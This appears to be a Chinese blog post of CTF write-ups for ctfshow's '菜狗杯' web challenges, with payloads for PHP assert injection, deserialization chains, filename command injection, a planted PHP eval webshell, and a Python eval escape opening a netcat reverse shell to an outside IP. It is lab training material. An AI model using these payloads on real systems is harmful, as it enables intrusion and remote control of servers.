ctfshow-菜狗杯-web

菜狗杯

一言既出

打开题目就是一个朴实无华的php代码

image-20240509185214693

我们分析一下:

需要传入一个num的参数,使num==114514,后面经过intval转化后要num==1919810,否则直接结束进程

这下就有点难办了,但其实我们只要其实闭合一下这个assert函数,不让这个结束的条件成立就行,payload如下

num=114514);//

image-20240509190211843

或者还有一种解法,用了%2B,这是加号+的url编码

当我们输入一下payload

num=114514%2B(1919810-114514)

解释一下payload,其实在第一次判断的时候,他的值是114514,这就完成了第一次判断,但是当第二次判断,在intval函数下,他会先进行运算,然后再将结果进行判断,这就完成了payload。

驷马难追

打开题目和上道题一样

image-20240509190759759

唯一不同的就是加了一层waf,比如小写字母,分号,括号不能用,所以这道题我们不能闭合,只能借用那个url编码,同时利用intval函数的特性去构造payload。

payload如下

num=114514%2B1919810-114514

image-20240509190931089

TapTapTap

打开题目是一个小游戏,这真忍不住,上去玩了一下,关键词是LEVEL,这种题都是js小游戏,我们就直接源码找,搜LEVEL

image-20240509191618903

功夫不负有心人,也是找到了一串可疑的base64的代码

image-20240509191710213

解码得到,得知flag在这个路径下面

image-20240509191741581

直接访问这个文件,成功拿到flag

image-20240509191823847

Webshell

打开题目,是php反序列化的题

image-20240509192343963

具体来说这个流程就是

new Webshell()->__construct->__init->exec()
最后执行shell_exec($cmd) //shell_exec就是执行系统命令,一般无回显,这里贴心的给你回显了

我们打开php在线,去构造一下PHP 在线工具 | 菜鸟工具 (jyshare.com)

构造代码如下:

<?php 
    error_reporting(0);

    class Webshell {
        public $cmd = 'ls';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }
$a=new Webshell();
echo urlencode(serialize($a))
?>
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A2%3A%22ls%22%3B%7D

然后我们传一下参数看看行不,发现的确可以

image-20240509192750983

注意前面代码,我们不能输入flag,被过滤了,所以这里我们使用通配符*****

这里我们只用把构造代码中的 cmd的值更改一下

 public $cmd = 'cat f*';
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22cat+f%2A%22%3B%7D

传参后发现一片空白,F12看一下源码,的确在里面

image-20240509193115496

化零为整

打开题目,就是php代码,十分害怕

image-20240509193726521

我们分析一下代码

$_GET,就是接受了多少了多少个参数

if(strlen($_GET[$i])>1)这一部分就是告诉我们,我们每次只能输入一个字符****,汉字是两个字符

我们往后看,result这个变量会拼接我们输入进去的参数

最后当result==“大牛”,才会输出flag

这个时候问题就是我们如何输入“大牛”,每次只能才能输入一个字符,这里我们就可以url编码,将”大牛“编码一下,一次输入一个字符

image-20240509194729356

然后构造payload:

1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

image-20240509194745487

无一幸免

image-20240509212049567

这道题就是0=? //传啥都行

payload如下

0=1

image-20240509212129163

传说之下(雾)

是一个小游戏,小玩一会

image-20240509212833469

应该还是js小游戏,F12直接找,分数用的score,我们直接搜索

image-20240509213406977

我们应该修改这个score的值,然后吃一个豆,他就更新成nowScore,我们找找这个对象名字

image-20240509213056597

找到之后,直接控制台修改,

Game.score=3000

暂停修改过后,我们直接回到游戏,吃一个豆,分数就够了,得到flag

image-20240509213550261

算力超群

打开题目就是一个计算器,我们运行一个计算,抓包看看

image-20240512091940512

当我们把number2改为非法的字符串的时候

image-20240512092101819

返回的页面如下所示:

image-20240512092254341

发现路径为 /app/app.py

危险的函数如下:

result=eval(a + operator +b)

搜了一下,可用的方法就是 沙箱逃逸 ,emmmm,完全不懂,那就搜一下

一文看懂Python沙箱逃逸 - FreeBuf网络安全行业门户

[PyJail] python沙箱逃逸探究·总览(HNCTF题解) - 知乎 (zhihu.com)

直接反弹shell

_calculate?number1=1&operator=%2B&number2=1,__import__('os').system('nc 8.130.131.63 1234 -e sh')

image-20240512102700982

拿到flag

image-20240512102741712

算力升级(未做出来)

还不会,pass

easyPytHon_P

这道题是给了源码

image-20240512103919694

我们分析一下,我们需要传入两个参数 一个 cmd 一个 param,后面有个命令执行的函数,所以我们需要构造一个命令,用这两个参数,但是 cmd 是有限制的,只能读取三位,分析完毕,我们开始构造payload

cmd=ls&param=/

但是我们传参数始终不对,没有得到我们想要的结果,其实这里又考了flask的传参,其实不是GET传参,而是POST

flask的传参方式

  1. get请求
request.args.get("key") 获取get请求参数
  1. post请求
request.form.get("key", type=str, default=None) 获取表单数据

request.values.get("key") 获取所有参数

所以这里我们用hackbar POST传参就行了

image-20240512104423666

其实flag没在根目录,就在当前的目录,那我们直接就读取了

cmd=cat&param=./flag.txt

image-20240512104614410

遍地飘零

image-20240512170143398

变量覆盖问题CTF中的变量覆盖问题 - My_Dreams - 博客园 (cnblogs.com)

payload

_GET=flag

image-20240512170711120

茶歇区

考的是整数溢出,以下是常见的数值范围

uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807 

让我拿东西得分,我直接弄了很多,直接负数很离谱

image-20240512171234822

我继续这样,就flag了

image-20240512171305186

小舔田?

打开题目就是源码,看的出来是反序列化

image-20240512171702884

先补充魔术方法吧

__construct()            //类的构造函数,创建对象时触发

__destruct()             //类的析构函数,对象被销毁时触发

__call()                 //在对象上下文中调用不可访问的方法时触发

__callStatic()           //在静态上下文中调用不可访问的方法时触发

__get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

__set()                  //在给不可访问属性赋值时触发

__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发

__unset()                //在不可访问的属性上使用unset()时触发

__invoke()               //当尝试以调用函数的方式调用一个对象时触发

__sleep()                //执行serialize()时,先会调用这个方法

__wakeup()               //执行unserialize()时,先会调用这个方法

__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

然后我们来构造链子

Moon::wakeup()->Ion_Fan_Princess::tostring()->Ion_Fan_Princess::call

分析完毕,打开php在线,开始操作、

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";
    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }
    }
    
    public function __toString(){
        $this->call();
    }
}
$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname="小甜甜";
echo urlencode(serialize($a));
O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D

image-20240512173233110

LSB探姬

打开题目,我上传了一个图片,以为是文件上传,也返回了upload/1.jpg,但是访问不到这个,所以这题不是文件上传题。

image-20240512174314302

然后我们翻看源码,看到危险的函数

image-20240512174730143

所以我们可以把文件名这里动一些手脚,让他去执行命令,我们上传文件的时候,抓一下包,改一下

payload

1.jpg;ls

image-20240512175120399

返回的响应如下

image-20240512175148868

那我们就查看一下

1.jpg;cat flag.py

image-20240512175234481

Is_Not_Obfuscate

打开题目,F12

image-20240514214657361

发现可以执行加密代码,然后有个 robots.txt ,我们访问一下

image-20240514214737666

得到了

lib.php?flag=0

访问一篇空白,我们flag的值改为 1,查看源码,显示如下

image-20240514214858141

接下来我们回到主界面去给加密代码弄一下,由于这些加密代码有很多符号之类的,我们先给他url编码一下

eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1%2B/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu%2BYvM2ht%2BZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K%2BWAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr%2BNHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz%2BodPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI%2BCLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR%2Bx6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf%2BP097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ%2BDU5vzz0%2BdoHA%2B3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw%2BF7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG%2Beubaq5t1a5Y3tYJmti6soht26kuF7jUUg%2BvZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9%2BkQvcSUbuwuEnWHYzn16/ewTo%2BgVIqv0%2BDNJC0YUGs9kWnS2%2B1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY%2BMB7L5c4S%2B5arvpFKn/GN4KvCEWYZ%2Br7inzI%2Bng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E%2BfPm6bO7/jSe%2B2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c%2B8ZLOGGQcDJMM5FARuDOfYyh09%2BM%2BI1Hdc%2BbCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu%2Br1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi%2Bu45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9%2Bw8pT7oT

payload如下(因为前面说action值需要为test,这里记得更改一下)

?input=eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1%2B/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu%2BYvM2ht%2BZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K%2BWAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr%2BNHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz%2BodPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI%2BCLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR%2Bx6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf%2BP097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ%2BDU5vzz0%2BdoHA%2B3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw%2BF7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG%2Beubaq5t1a5Y3tYJmti6soht26kuF7jUUg%2BvZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9%2BkQvcSUbuwuEnWHYzn16/ewTo%2BgVIqv0%2BDNJC0YUGs9kWnS2%2B1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY%2BMB7L5c4S%2B5arvpFKn/GN4KvCEWYZ%2Br7inzI%2Bng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E%2BfPm6bO7/jSe%2B2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c%2B8ZLOGGQcDJMM5FARuDOfYyh09%2BM%2BI1Hdc%2BbCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu%2Br1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi%2Bu45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9%2Bw8pT7oT&action=test&output=

回显如下

image-20240514215417901

分析一下代码,我们最后利用的push传入危险代码,文件会在plugins/md5(你的输入的变量+youyou)然后pull来去执行

那我们就写马进入

?action=push&output=<?php eval($_GET[1]);?>youyou

然后我们MD5加密一下看一下生成的是什么

<?php eval($_GET[1]);?>youyou
d6e1f0ec8980b49f6061227495a77a44

然后我们利用pull去执行

?action=pull&input=d6e1f0ec8980b49f6061227495a77a44&1=system("ls /");

image-20240514221342952

然后直接查看flag

?action=pull&input=d6e1f0ec8980b49f6061227495a77a44&1=system("cat%20/f*");

image-20240514221437054

龙珠NFT(未做出来)

posted @ 2024-05-14 22:18  Muneyoshi  阅读(195)  评论(0编辑  收藏  举报